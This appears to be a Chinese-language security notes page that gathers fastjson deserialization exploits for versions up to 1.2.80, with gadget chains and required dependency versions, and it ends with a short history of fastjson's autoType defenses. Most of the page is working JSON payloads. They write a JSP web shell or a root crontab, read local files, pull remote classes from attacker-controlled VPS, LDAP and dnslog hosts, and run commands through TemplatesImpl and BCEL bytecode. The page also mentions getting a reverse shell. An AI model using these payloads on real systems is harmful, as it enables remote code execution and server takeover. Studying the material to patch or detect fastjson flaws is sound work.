"@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" } }
fastjson<=1.2.68,commons-io<=2.4,完整payload太长,见下文或者最后。
https://su18.org/post/fastjson-1.2.68/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 { "su18": { "@type": "java.util.Currency", "val": { "currency": { "writer": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.output.FileWriterWithEncoding", "file": "2.txt", "encoding": "UTF-8" }, "outputStream": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.output.WriterOutputStream", "writeImmediately": true, "bufferSize": 4, "charsetName": "UTF-8", "writer": { "$ref": "$.currency.writer" } }, "charInputStream": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.CharSequenceInputStream", "charset": "UTF-8", "bufferSize": 4, "s": { "@type": "java.lang.String" "test*****************" }, "teeInputStream": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "$ref": "$.currency.charInputStream" }, "closeBranch": true, "branch": { "$ref": "$.currency.outputStream" } }, "inputStream": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "$ref": "$.currency.teeInputStream" }, "boms": [{ "charsetName": "UTF-8", "bytes": [0, 0, 0*****************] }] } } } } }
fastjson<=1.2.68,commons-io
自寻us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "abc": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///D:/" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [{ "charsetName": "UTF-8", "bytes": [36] },{ "charsetName": "UTF-8", "bytes": [49] }] }, "address": { "$ref": "$.abc.BOM" } }
fastjson<=1.2.68,commons-io
https://b1ue.cn/archives/506.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 { "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///tmp/test" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [98] } ] }, "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}, "xxx": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "http://aaaxasd.g2pbiw.dnslog.cn/" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}] }, "zzz":{"$ref":"$.xxx.BOM[0]"} }
fastjson<=1.2.68,commons-io<=2.4,aspectjtools-1.9.6,commons-codec-1.6。完整payload太长,见下文或者最后。
http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 { "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.BOMInputStream", "delegate":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "@type": "org.apache.commons.codec.binary.Base64InputStream", "in":{ "@type":"org.apache.commons.io.input.CharSequenceInputStream", "charset":"utf-8", "bufferSize": 1024, "s":{"@type":"java.lang.String""TVqQAAMAAAAEAAAA*********************" }, "doEncode":false, "lineLength":1024, "lineSeparator":"5ZWKCg==", "decodingPolicy":0 }, "branch":{ "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath":"1.txt" }, "closeBranch":true }, "include":true, "boms":[{ "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes":[84, 86, 113, 81, 65, 65, 77, 65*********************] }], "x":{"$ref":"$.bOM"} }
fastjson<=1.2.68,mysql-connector-java-5.0.2-5.1.5,仅SSRF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.ReplicationConnection", "masterProperties": { "HOST": "127.0.0.1", "user": "yso_CommonsCollections4_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true" }, "slaveProperties": { "HOST": "127.0.0.1", "user": "yso_CommonsCollections4_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true" } }
fastjson<=1.2.68,mysql-connector-java-5.1.1-5.1.49可SSRF 5.1.11至5.1.48可反序列化
自寻us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections4_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" }
fastjson<=1.2.68,mysql-connector-java-6.0.2-6.0.3可反序列化
自寻us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
1 2 3 4 5 6 7 8 9 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString": { "url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" } } }
fastjson<=1.2.68,mysql-connector-java-8.0.19可反序列化,>8.0.19可SSRF
自寻us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", "proxy": { "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", "connectionUrl": { "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [{ "host": "" }], "slaves": [], "properties": { "host": "127.0.0.1", "user": "yso_CommonsCollections4_calc", "dbname": "dbname", "password": "pass", "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true" } } } }
10.1.2.80: 分析不动了…贴几个写的很好的大佬然后下面大概讲一下环境和利用链以及版本还有payload
具体分析感兴趣的师傅可以看这三个师傅的文章
原理跟1.2.68有点像
[fastjson 1.2.73-1.2.80漏洞分析](https://blog.ninefiger.top/2022/11/11/fastjson 1.2.73-12.80漏洞分析/#3-6-aspectjtools利用链)
[沉浸式体验 fastjson1.2.80的Groovy利用链 | 少年锦时](https://blog.s8ark.top/2024/01/30/沉浸式体验 fastjson1.2.80的Groovy利用链/#一、-漏洞绕过原理)
fastjson 1.2.80 漏洞浅析及利用payload - PYkiller - 博客园
Groovy利用链 ( 1.2.72 , 1.2.80 ]
1 2 3 4 5 6 7 8 9 10 11 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.80</version> </dependency> <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>3.0.8</version> <type>pom</type> </dependency>
可以打Groovy利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{} } { "@type":"org.codehaus.groovy.control.ProcessingUnit", "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", "config":{ "@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://127.0.0.1:8080/" } }
JPython + pgsql + springContext利用链 版本:<=1.2.80
1.2.68-1.2.76
之间也可以
依赖类:
org.python.antlr.ParseException
com.ziclix.python.sql.PyConnection
org.postgresql.jdbc.PgConnection
org.springframework.context.support.ClassPathXmlApplicationContext
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <dependency> <groupId>org.python</groupId> <artifactId>jython</artifactId> <version>2.7.0</version> </dependency> <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.3.1</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.2.22.RELEASE</version> </dependency>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 { "a": { "@type": "java.lang.Exception", "@type": "org.python.antlr.ParseException", }, "b": { "@type": "java.lang.Class", "val": { "@type": "java.lang.String"{ "@type": "java.util.Locale", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String""@type": "org.python.antlr.ParseException", "type": {} } } }, "c": { "@type": "org.python.core.PyObject", "@type": "com.ziclix.python.sql.PyConnection", "connection": { "@type": "org.postgresql.jdbc.PgConnection", "hostSpecs": [ { "host": "", "port": 0 } ], "user": "user", "database": "test", "info": { "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext", "socketFactoryArg": "http://127.0.0.1:8889/bean.xml" }, "url": "" } } }
JPython + mysql Connection利用链 适用版本:<=1.2.80
依赖类:
org.python.antlr.ParseException
com.ziclix.python.sql.PyConnection
mysql-Connection版本5.1.11 - 5.1.49: com.mysql.jdbc.JDBC4Connection
mysql-Connection版本6.0.2、6.0.3:com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection
mysql-Connection版本8.0.19:com.mysql.cj.jdbc.ha.ReplicationMySQLConnection
、com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy
、com.mysql.cj.conf.url.ReplicationConnectionUrl
mysql Connection 5.1.11-5.1.49反序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 { "x": { "@type": "java.lang.Exception", "@type": "org.python.antlr.ParseException", }, "y": { "@type": "java.lang.Class", "val": { "@type": "java.lang.String"{ "@type": "java.util.Locale", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String""@type": "org.python.antlr.ParseException", "type": {} } } }, "c": { "@type": "org.python.core.PyObject", "@type": "com.ziclix.python.sql.PyConnection", "connection": { "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "VPS", "portToConnectTo": 3306, "info": { "user": "yso_CommonsBeanutils1_open /System/Applications/Calculator.app", "password": "none", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "name", "url": "" } } }
mysql Connection 6.0.2/6.0.3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 { "x": { "@type": "java.lang.Exception", "@type": "org.python.antlr.ParseException", }, "y": { "@type": "java.lang.Class", "val": { "@type": "java.lang.String"{ "@type": "java.util.Locale", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String""@type": "org.python.antlr.ParseException", "type": {} } } }, "c": { "@type": "org.python.core.PyObject", "@type": "com.ziclix.python.sql.PyConnection", "connection": { "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://VPS:3306/name?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsBeanutils1_open /System/Applications/Calculator.app" } } } } }
mysql Connection 8.0.19 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 { "x": { "@type": "java.lang.Exception", "@type": "org.python.antlr.ParseException", }, "y": { "@type": "java.lang.Class", "val": { "@type": "java.lang.String"{ "@type": "java.util.Locale", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String""@type": "org.python.antlr.ParseException", "type": {} } } }, "c": { "@type": "org.python.core.PyObject", "@type": "com.ziclix.python.sql.PyConnection", "connection": { "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", "proxy": { "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", "connectionUrl": { "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [ { "host": "" } ], "slaves": [], "properties": { "host": "VPS", "port": 3306, "user": "yso_CommonsBeanutils1_open /System/Applications/Calculator.app", "dbname": "root", "password": "root", "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true" } } } } } }
OGNL + Commons-io 适用版本:1.2.73~1.2.80
1 2 3 4 5 ognl.OgnlException 继承 java.lang.Exception - ognl.OgnlException中setEvaluation方法的参数是ognl.Evaluation类型 - ognl.Evaluation的构造方法中,参数node的类型是ognl.SimpleNode;ognl.ASTMethod是ognl.SimpleNode的子类 - ognl.ASTMethod的构造方法中,参数p的类型是ognl.OgnlParser - ognl.OgnlParser的构造方法中,参数stream的类型是InputStream类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 { "x": { "@type": "java.lang.Exception", "@type": "ognl.OgnlException" }, "y": { "@type": "java.lang.Class", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String" "@type": "ognl.OgnlException", "_evaluation": "" } }, "z": { "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "is": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.CharSequenceReader", "charSequence": { "@type": "java.lang.String""something>8192" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "branch": { "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.FileWriterWithEncoding", "file": "D:/tmp/shell.jsp", "encoding": "UTF-8", "append": false }, "charsetName": "UTF-8", "bufferSize": 1024, "writeImmediately": true }, "closeBranch": true }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "UTF-8" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 36, 82 ] } ] } } } }, "u": { "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "is": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "$ref": "$.z.node.p.stream.delegate.reader.is.input" }, "branch": { "$ref": "$.z.node.p.stream.delegate.reader.is.branch" }, "closeBranch": true }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "UTF-8" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 36, 82 ] } ] } } } }, "v": { "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "is": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "$ref": "$.z.node.p.stream.delegate.reader.is.input" }, "branch": { "$ref": "$.z.node.p.stream.delegate.reader.is.branch" }, "closeBranch": true }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "UTF-8" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 36, 82 ] } ] } } } }, "w": { "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "is": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "$ref": "$.z.node.p.stream.delegate.reader.is.input" }, "branch": { "$ref": "$.z.node.p.stream.delegate.reader.is.branch" }, "closeBranch": true }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "UTF-8" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 36, 82 ] } ] } } } }, }
ognl & io & aspectj & commons-codec 1.2.73-1.2.80 ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6 写入复杂文件结构,文件需要大于8kb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 { "su14": { "@type": "java.lang.Exception", "@type": "ognl.OgnlException" }, "su15": { "@type": "java.lang.Class", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String" "@type": "ognl.OgnlException", "_evaluation": "" } }, "su16": { "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type":"org.apache.commons.io.input.BOMInputStream", "delegate":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "@type": "org.apache.commons.codec.binary.Base64InputStream", "in":{ "@type":"org.apache.commons.io.input.CharSequenceInputStream", "charset":"utf-8", "bufferSize": 1024, "s":{"@type":"java.lang.String""文件baes64" }, "doEncode":false, "lineLength":1024, "lineSeparator":"5ZWKCg==", "decodingPolicy":0 }, "branch":{ "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath":"/var/spool/cron/root" }, "closeBranch":true }, "include":true, "boms":[{ "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes":[85, 48, 104...文件bytes] }], } } } }, "su17": { "$ref": "$.su16.node.p.stream" }, "su18": { "$ref": "$.su17.bOM.bytes" } }
版本:1.2.73~1.2.80
AspectJ用于aop开发,spring的业务中经常使用,帮助面向切面编程,因此这个依赖也可能是经常出现的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "x":{ "@type":"java.lang.Exception", "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" }, "y": { "@type": "java.lang.Class", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String" "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", "newAnnotationProcessorUnits": [{}] } }, "z":{ "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", "fileName":"/tmp/flag" } }
JPythonPoc的版本适配补充 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 "a": { "@type": "java.lang.Exception", "@type": "org.python.antlr.ParseException", }, "b": { "@type": "java.lang.Class", "val": { "@type": "java.lang.String"{ "@type": "java.util.Locale", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String""@type": "org.python.antlr.ParseException", "type": {} } } }
[fastjson 1.2.73-1.2.80漏洞分析](https://blog.ninefiger.top/2022/11/11/fastjson 1.2.73-12.80漏洞分析/#3-3-JPython-pgsql-springContext利用链)
fastjson 1.2.80 漏洞浅析及利用payload - PYkiller - 博客园
11.1.2.83 看了看网上的好像指向的就是原生反序列化?
可以参考下面笔者写的这里不重复描述了
fastjson的一些特性或者说注意事项:
使用 JSON.parse(jsonString)
和 JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在 jsonString 中解析字符串获取 @type
指定的类,后者则会直接使用参数中的class。
fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get
开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set
开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build()
中。
使用 JSON.parseObject(jsonString)
将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField
参数。
fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略 _|-
字符串,也就是说哪怕你的字段名叫 _a_g_e_
,getter 方法为 getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _
和 -
进行组合混淆。
fastjson 在反序列化时,如果 Field 类型为 byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
可能拿过来当ctf的某种考点: fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略 _|-
字符串,也就是说哪怕你的字段名叫 _a_g_e_
,getter 方法为 getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _
和 -
进行组合混淆。
Fastjson漏洞的对抗史
1.2.24版本
没有任何过滤器,可以使用任何类进行反序列化攻击。
典型攻击类:TemplatesImpl
、JdbcRowSetImpl
。
1.2.25版本
引入checkAutoType
机制,加入黑名单和白名单。
AutoType机制开启
先检查白名单,白名单中的类直接加载。
若不在白名单,继续检查黑名单,若不在黑名单,正常加载。
AutoType机制关闭
先检查黑名单,若类在黑名单中则抛出异常。
再检查白名单,若不在白名单则抛出异常。
1.2.42版本
加入对L;
的检测,发现L;
则去除。
黑名单和白名单类名隐去,使用hash比对。
1.2.43版本
加入对LL;;
的检测,发现LL;;
则去除。
通过引入对[
字符的检测进行进一步防护。
1.2.45版本
1.2.47版本
开启AutoType且版本在33到47之间
若类不在白名单,则继续检查黑名单。
若类不在黑名单且不在mappings中,则正常加载。
关键问题在于如何往mappings中添加恶意类。
未开启AutoType且版本在24到32之间 ,也存在漏洞。
1.2.68版本
1.2.80版本
异常类漏洞防护
针对Throwable
类及其子类的漏洞防护不足进行了增强,防止利用这些类进行攻击。
fastjson的链子: TemplatesImpl 存在条件限制 必须要使用Feature.SupportNonPublicField的情况下才能打这个链子
上面有相关的概念和情况讲解直接ctrl+f搜Feature.SupportNonPublicField查看用法
使用注意点:
fastjson 在反序列化时,如果 Field 类型为 byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
payload如下
1 2 3 4 5 6 7 8 9 { "b": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQA...CJAAk="], "_name": "su18", "_tfactory": {}, "_outputProperties": {}, } }
bytecode变成想要加载的恶意类的字节即可
JdbcRowSetImpl 环境条件限制: 对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在几种方法绕过。
rmi的应该更早就被限制了好像会稍微再早一点,ldap适配的范围更大
高版本的绕过感兴趣的师傅可以看看这几个https://www.cnblogs.com/EddieMurphy-blogs/p/18078943
https://research.qianxin.com/archives/2414
https://wjlshare.com/archives/1661
1 2 3 4 5 6 7 { "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://ip:9473/TouchFile", "autoCommit": true } }
autoCommit参数的存在会触发setAutoCommit函数
跟进到connect()函数
找到漏洞点lookup函数
根据上文的学习我们知道如果我们传参里dataSourceName这个参数就会触发setdataSourceName()函数
所以getdataSourceName()的值我们也是可控的
lookup函数一般是用来连接数据库的
类似于这些
1 2 3 // 固定的、安全的JNDI名称 "java:comp/env/jdbc/MyDB" "java:global/myapp/SomeBean"
但是如果值可控我们也可以让他连接外部的我们vps上的ldap或者rmi搭建的服务
然后就是打jndi注入
加载恶意的字节
反弹shell
注意:虽然说反弹shell当然是最简便最好用的方法
但是这条链子不仅能用来打jndi反弹shell也可以拿过来打rce
只不过rce用别的链子就好
如果不出网无回显那就是bcel链子
这种情况下不出网也没办法打JdbcRowSetImpl 的链子
BCEL&BasicDataSource利用链组合 这条链子也是有利用要求的
但是比TemplatesImpl的条件限制要低
条件限制: jdk8u311的版本已经在默认的标准包rt.jar里不存在com.sun.org.apache.bcel.internal.util.ClassLoader;这个类了
jdk8u65就存在
所以利用的时候还要注意一下jdk版本
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面
还有个条件限制就是环境maven必须要存在tomcat-dbcp
1 2 3 4 5 6 7 8 9 10 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency>
先贴payload再来分析链
1 2 3 4 5 6 7 8 9 10 11 12 13 { { "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "bbb" } //注意:这里是tomcat>8的poc,如果小于8的话用到的类是 //org.apache.tomcat.dbcp.dbcp.BasicDataSource
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.hantest.fastjsontest1; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import java.io.IOException; public class BcelTest { public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(),true); System.out.println("$$BCEL$$"+code); // 加载类并实例化 new ClassLoader().loadClass("$$BCEL$$"+code).newInstance(); } }
1 2 3 4 5 6 7 8 9 10 11 package org.hantest.fastjsontest1; public class Evil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } }
